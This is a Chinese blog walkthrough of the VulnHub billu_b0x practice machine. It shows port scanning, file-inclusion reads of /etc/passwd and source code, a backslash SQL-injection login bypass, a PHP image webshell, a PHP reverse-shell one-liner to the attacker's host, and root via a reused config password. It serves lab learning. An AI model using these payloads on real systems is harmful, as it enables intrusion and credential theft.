红队打靶:billu_b0x打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现和端口扫描 

第二步:Web渗透

第三步:利用文件包含进行代码审计

第四步:图片马上传与反弹shell

第五步:敏感文件提权

总结与思考

写在开头

 我的博客等级终于到三级了,感谢各位读者的支持!现在可以自定义文章标签,不用每篇博客标签都是Web安全了嘿嘿... 

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的难度也不高,但还是有很多值得思考的地方,尤其是对php代码的理解。本文的打靶过程涉及到关于SQL注入、文件包含漏洞利用、php代码审计、图片马的制作等。打完这个靶机还有一个启发:信息搜集如果能更加完整,会省很多兜圈子的操作。完整打靶思路详见:

「红队笔记」靶机精讲:Billu b0x - 大练兵,涉及SQL注入,文件包含,代码审计和图片木马,细节满满。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见:

billu: b0x ~ VulnHub

  下载链接见:

https://download.vulnhub.com/billu/Billu_b0x.zip

 本靶机的目标是拿到root权限。下载成功后用vmware打开,将网络链接设置为NAT模式。靶机打开之后如下:

第一步:主机发现和端口扫描 

  常规思路,不细讲了。有关主机发现和端口扫描的命令详见我的这篇博客中关于nmap的部分:渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.135
nmap -sT -sV -O -sC -p22,80 10.10.10.135
nmap -sU --min-rate 10000 -p- 10.10.10.135
nmap --script=vuln -p22,80 10.10.10.135

  扫出来靶机的ip是10.10.10.135,仅仅开放了22和80端口,看来这回的入口点就是Web了。再使用默认脚本扫描,并探测开放服务和操作系统版本如下:

 可以确定是一个Ubuntu的机器,内核版本有个范围。80端口是用的apache服务,版本为2.2.22。漏洞扫描也没看出个啥。

第二步:Web渗透

 由于开放了80端口,直接浏览器访问试试:

 是个很炫酷的登录界面,同时登录框上面还写了一句话,向我展示你的SQLI技巧,那应该这里就是考察SQL注入了。管他三七二十一,把Username和Password都先用万能密码试一试:

' or 1=1 #

 果然不对,每那么简单,万能密码是无法登录的,也没有出现报错提示信息,仅仅弹框提示Try again。

 看了一眼源代码也没发现啥有用的东西,干脆整个目录爆破看一看。平常目录爆破总用dirb,这回换一个,用gobuster试试吧。

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.135

dir指定进行目录枚举,-w指定字典,这里选择比较常规的的directory-list-2.3-medium.txt,-u指定url,爆破结果如下,还是有很多信息的: 

那就一个一个看吧,先看images,这应该是个目录:

 这个路径直接暴露了目录下的几张图片,其中一张是登录界面的图片。说不定未来我们可以在这里上传shell。然后继续查看其他路径。index路径就是初始界面,/in的路径界面如下:

 这个页面就是phpinfo()的页面呀,还是有很多有意义的信息,包括php的版本、Linux内核的具体版本是3.13.0-12。我们继续看剩下的目录,/c和/show都是空白页面,没有什么信息,/add界面貌似可以进行图片上传:

 经过我的尝试,发现这里是无法上传图片的。可能此时我们还没有拿到合适的权限。然后看/test路径:

 这个界面就有意思了,提示我们说file参数是空的,请给file参数提供路径。莫非这里存在文件包含的漏洞?而file就是文件包含的关键参数。那么我们尝试在url中给出file参数,尝试读取/etc/passwd文件试试:

 然而并无反应,再将路径换为../../../../../../etc/passwd也无法读取。那既然get请求无法获取,莫非这个file参数是在post请求中的吗?那咱就试一试嘛,可以用burpsuite这种工具进行改包进行POST请求,我这里就直接用curl进行请求,采用post的方式添加参数即可(-d相当于--data,添加POST的参数):

curl -d "file=/etc/passwd" http://10.10.10.135/test

 读出来了!这是个重大突破呀,我们发现了文件包含的利用位置。因此我们可以通过file这个参数去读取靶机内的文件了。看一眼这个passwd文件,重点寻找有bash的用户,发现除了root,就只有一个ica,这或许是我们重点关注的账户。尝试读取/etc/shadow,发现失败了。不过这应该确实是个关键的位置,一会我们读取其他文件的时候应该会起到作用。先看下一个文件吧,/head和/head2都是一张图片没有太多价值。而/uploaded_image目录又暴露了一些图片,点开看好像都是加勒比海盗杰克船长的图片,可能未来也有在此上传shell的可能。 

 可以哈,这剧照还是挺炫酷的。下一个路径是/panel,会被重定向到初始登录界面,有理由怀疑,这个界面就是登录后的路径,由于此处我们还没有登录,因此直接访问会被重定向。

总结下Web渗透的过程,我们进行了目录爆破,发现了几个有价值的目录和文件路径,其中/image和/uploaded_images都是图片的目录,且暴露了目录下的图片。我们还发现了关键的路径/test中的file参数存在文件包含,可以读取系统中的文件。 

第三步:利用文件包含进行代码审计

下面我们利用/test路径下的参数file读取靶机系统中的文件,可以先看一看网页的源代码。先查看index.php试一试吧:

curl -d "file=index.php" http://10.10.10.135/test  

 可以看到index.php中先包含了两个文件c.php和head.php,继续往下看,惊奇的发现了登录的逻辑:

 这里的核心逻辑就是三行:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

可以看出,还是对输入的username和password进行了拼接,只是将前端输入的内容中的单引号转换为了空字符(过滤掉了单引号'),那么如果我们把username和password都设置为万能密码后加一个反斜杠\,即可成功注入,即为:

or 1=1 #\

 当然也可以设置为:

用户名:\ 
密码: or 1=1 #

 这样进行注入的大致思路我的理解就是反斜杠(\)会被解释为转义字符。登录成功后,成功进入了panel.php。说实话,这种注入思路在红队笔记大佬的视频中被说是显然,我其实感觉还是有点不清晰。

 这个界面可以看到两张图片和地址,这两张图片有点眼熟呀,不就是/uploaded_image目录下的文件嘛。同时我们还可以在这个页面上传图片。经过测试是能够上传的,那我们可以回头试一试能不能上传图片马。此时我们先进行代码审计试试:

用文件包含漏洞读取c.php的源码:

 貌似得到了一个数据库的账号和密码。结合之前passwd文件中的用户ica,我们可以尝试用这几个数据进行ssh登录,很遗憾,都失败了(仅仅是碰撞尝试)。(后来才知道,这个数据库密码是有作用的,只是这篇博客的思路没用上)。又读了其他php文件,并没有太多收获。

第四步:图片马上传与反弹shell

 既然panel这个页面可以上传图片,那我们尝试上传个图片马吧,首先搞一张图片,比如我随便传了一张图片到kali,名为just_sleep.png:

 我们构建一个shell.php,代码如下:

<?php system($_GET['a']); ?>

 把这个shell.php追加到just_sleep.png图片中:

cat shell.php >> just_sleep.png

当然你也可以直接vim just_sleep.png,在图片的末尾加上<?php system($_GET['a']); ?>

 这样这个图片马就做好了,把他上传到panel界面,还要填写address,name和序号 ,随便填写即可,然后上传成功了:

 回到/upload_image目录,确实可以看到我们上传的图片马:

 但是在这个界面点击just_sleep.png是无法触发php的代码执行的。那么我们就要寻找其他的路径触发php代码执行。首先想到的路径就是panel.php本身,因为这个php页面可以包含其他的php文件,因此我们重新访问panel.php并用burpsuite抓包如下:

 可以看到请求中load参数添加的是show,我们修改这个参数为刚刚图片马的路径,并在请求体的第一行添加命令a=whoami,看看能否触发代码执行:

 成功触发代码执行了,那么我们只要把命令改为反弹shell即可,反弹shell的命令为:

php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

 其中的x.x.x.x为接收反弹shell的地址,即kali的地址。建立nc监听1234端口后,在a参数中添加反弹shell的命令,发现并没有反弹shell:

 可是之前已经尝试了,刚刚这里已经成功代码执行了呀。那估计就是url编码的问题了,我们把这个反弹shell的语句进行url编码即可反弹成功:

 

第五步:敏感文件提权

 既然已经进来了,那下一步就是提权,先尝试sudo -l查看当前的权限:

 没有tty,这是shell不完全的问题,用python启动一个shell:

python -c "import pty;pty.spawn('/bin/bash')"

然后在此执行sudo -l 

 问我们要密码,我们是反弹shell进来的,不知道密码。看来此路不通。那就到web目录翻找翻找,看看有没有什么敏感文件之类的吧。

 发现当前目录基本上都是目录爆破的结果,我们都看过了,但有一个phpmy的目录,之前没有爆破出来。这有可能就是phpmyadmin的管理系统。我们进入这个目录看看有没有啥配置文件:

 果然就是phpmyadmin的管理系统,可以看到配置文件config.inc.php,我们查看这个配置文件:

 看到了一个用户名和密码,恰巧用户名就是root,这应该是个数据库的密码,不过我们也可以碰撞尝试ssh登录root账户,密码roottoor。发现直接ssh登录了root账户。

 成功拿到了root权限,至此这个靶机就打完了。

总结与思考

 这个靶机也不难,但是细节还挺多的。比如使用POST的方法寻找文件包含的漏洞参数、读取index.php的源码确定sql注入的逻辑、上传图片马、找到触发图片马执行的路径、反弹shell的指令要进行url编码、敏感文件搜索碰撞数据库密码与ssh账号密码等等。最后还是总结以下本文的打靶过程:

1.主机发现和端口扫描

2.Web渗透:目录爆破扫出来一大堆文件,找到了一个/test路径提示存在文件包含,最后使用POST方法成功触发了读取文件。

3.SQL注入:文件包含读取index.php的代码逻辑,发现登录框还是使用了拼接的语句,存在sql注入。成功注入登录进入了panel页面。

4.图片马的上传。上传图片马后直接访问图片马的路径无法执行php代码,需要通过访问panel再进行改包加载图片马,添加反弹shell的命令触发代码执行。

5.敏感文件搜索发现phpmy目录,进入后找到了一个用户名root和密码,尝试ssh登录即可获得root的shell。

 同时这个靶机也给了我们一个启示: 信息搜集如果能更加完整,会省很多兜圈子的操作。如果我们在最初进行目录爆破的时候就爆破出了phpmy这个目录,找到文件包含的路径后就可以直接读取其中的config.inc.php从而获取ssh登录的root凭据,就不用兜圈子走这一大圈了。不过绕了这一大圈也是有不少收获的。

另外本文还有另外一种思路,就是如果我们开始扫到了phpmy,web访问这个页面的结果如下:

 这是phpMyAdmin的管理界面,如果能登录其中,必然可以看到很多关键信息。而这个登录密码可以通过文件包含读取c.php得到:

 登录成功后即可看到很多数据库的信息,可以直接获得web界面的登录密码,无需再注入了。

最后我还是想吐槽一下CSDN中的许多打靶文章,有种已知答案猜答案的感觉,既然有为了扫描出phpmy而专门换字典的(你都知道有phpmy了还扫个p),还有直接爆破ssh直接root(照这种扯淡思路,建议以后开放22端口的靶机直接爆破root)的,我感觉这些都缺乏逻辑。然后我尝试了一下如何能扫描出phpmy,用dirb的默认方式,或使用字典directory-list-2.3-medium.txt都是无法爆破出phpmy的,这是字典比较小的问题。如果使用字典/usr/share/wordlists/dirb/big.txt 进行爆破确实是可以爆破出phpmy的,看来以后要换大字典了。

 我还试了一下,使用dirsearch的默认方法也可以扫出来phpmy。信息搜集一定要全呀!

学习渗透一定要实操呀!到此这个靶机就讲解完毕了。靶机不难,总结不易,打靶的过程要有自己的思考,不能只是单纯的复现writeup。近期打算再总结总结渗透中的信息搜集思路以及其他技巧,希望读者能够点赞关注多多支持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/26811.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

部署langchain+chatglm

先参考&#xff1a;window零基础部署langchain-ChatGLM_飞奔的屎壳郎的博客-CSDN博客 安装一部分&#xff0c; 1.GCC安装 gcc64位下载 一定要装64位的gcc&#xff0c;因为我的电脑是w10 64位的&#xff0c;装32位运行langchain报错并配置环境变量 可直接用压缩包中的文件&am…

Web3的2048,Sui 8192能否打开全链游戏的大门?

作者&#xff1a;Peng SUN&#xff0c;Foresight News Sui 8192&#xff1a;一局游戏就是一个NFT Sui 8192智能合约基于Move语言编写&#xff0c;构成非常简单&#xff0c;包括游戏、Game Board与排行榜&#xff08;Leaderboard&#xff09;三部分&#xff0c;覆盖方块移动、…

Leetcode每日一题(困难):834. 树中距离之和(2023.7.16 C++)

目录 834. 树中距离之和 题目描述&#xff1a; 实现代码与解析&#xff1a; DFS 原理思路&#xff1a; 834. 树中距离之和 题目描述&#xff1a; 给定一个无向、连通的树。树中有 n 个标记为 0...n-1 的节点以及 n-1 条边 。 给定整数 n 和数组 edges &#xff0c; edge…

《C++程序设计原理与实践》笔记 第20章 容器和迭代器

本章和下一章将介绍STL&#xff0c;即C标准库的容器和算法部分。关键概念序列和迭代器用于将容器&#xff08;数据&#xff09;和算法&#xff08;处理&#xff09;联系在一起。 20.1 存储和处理数据 首先考虑一个简单的例子&#xff1a;Jack和Jill各自在测量车速&#xff0c…

GO语言slice

slice: data lencap 以及存取的元素是可以安全读写的 Slice 扩容。 1&#xff0c;预估&#xff1a; 2&#xff0c;预估容量后*字节数 所需的内存 3&#xff0c;各种语言从OS上提前申请内存&#xff0c;匹配GO规则的内存

Windows搭建SVN环境

VisualSVN Server下载 https://www.visualsvn.com/products VisualSVN Server安装创建仓库创建项目创建用户创建组项目分配组VisualSVN下载 https://www.visualsvn.com/products VisualSVN安装项目检出项目检出路径&#xff1a;https://changwq:8443/svn/dev/InterfaceManage 项…

如何实时记录工序流转状态——手机扫码让进度一目了然

对于生产企业来说记录工序的进展状态非常重要&#xff0c;有一部分中小型企业会使用纸制的“工序流转卡”&#xff0c;每日收集齐后再交由专员人工录入到电脑上&#xff0c;这种方式不仅费时费力&#xff0c;还容易出错&#xff0c;更重要的是无法让管理者实时掌握各个订单的进…

【FPGA】基于C5的第一个SoC工程

文章目录 前言SoC的Linux系统搭建 前言 本文是在毕业实习期间学习FPGA的SoC开发板运行全连接神经网络实例手写体的总结。 声明&#xff1a;本文仅作记录和操作指南&#xff0c;涉及到的操作会尽量细致&#xff0c;但是由于文件过大不会分享文件&#xff0c;具体软件可以自行搜…

程序环境和预处理超详细讲解

目录 程序的翻译环境和执行环境 详解编译链接 翻译环境 编译本身也分为几个阶段 运行环境 预处理&#xff08;预编译&#xff09;详解 预定义符号 #define #define 定义标识符 #define 定义宏 #define 替换规则 #和## ## 的作用 带副作用的宏参数 宏和函数对比 …

服务器反向代理

反向代理作用 隐藏服务器信息 -> 保证内网的安全&#xff0c;通常将反向代理作为公网访问地址&#xff0c;web服务器是内网&#xff0c;即通过nginx配置外网访问web服务器内网 举例 百度的网址是&#xff1a;http://www.baidu.com &#xff0c; 现在我通过自己的服务器地…

mysql 备份

mysql 备份 1. 备份的类型2.备份的类容3. 备份工具1&#xff1a;MySQL自带的备份工具2&#xff1a;文件系统备份工具3&#xff1a;其他工具 4:备份的策略1. 直接拷贝数据库文件2. mysqldump备份数据库3. mydumper备份数据库4.lvm快照从物理角度实现几乎热备的完全备份&#xff…

Webpack原理与实战 --- Webpack 核心特性

如何使用 Webpack 实现模块化打包&#xff1f; 对模块化打包方案或工具的设想或者说是诉求&#xff1a; 能够将散落的模块打包到一起&#xff1b;能够编译代码中的新特性&#xff1b;能够支持不同种类的前端资源模块。 其中最为主流的就是 Webpack、Parcel 和 Rollup 以 We…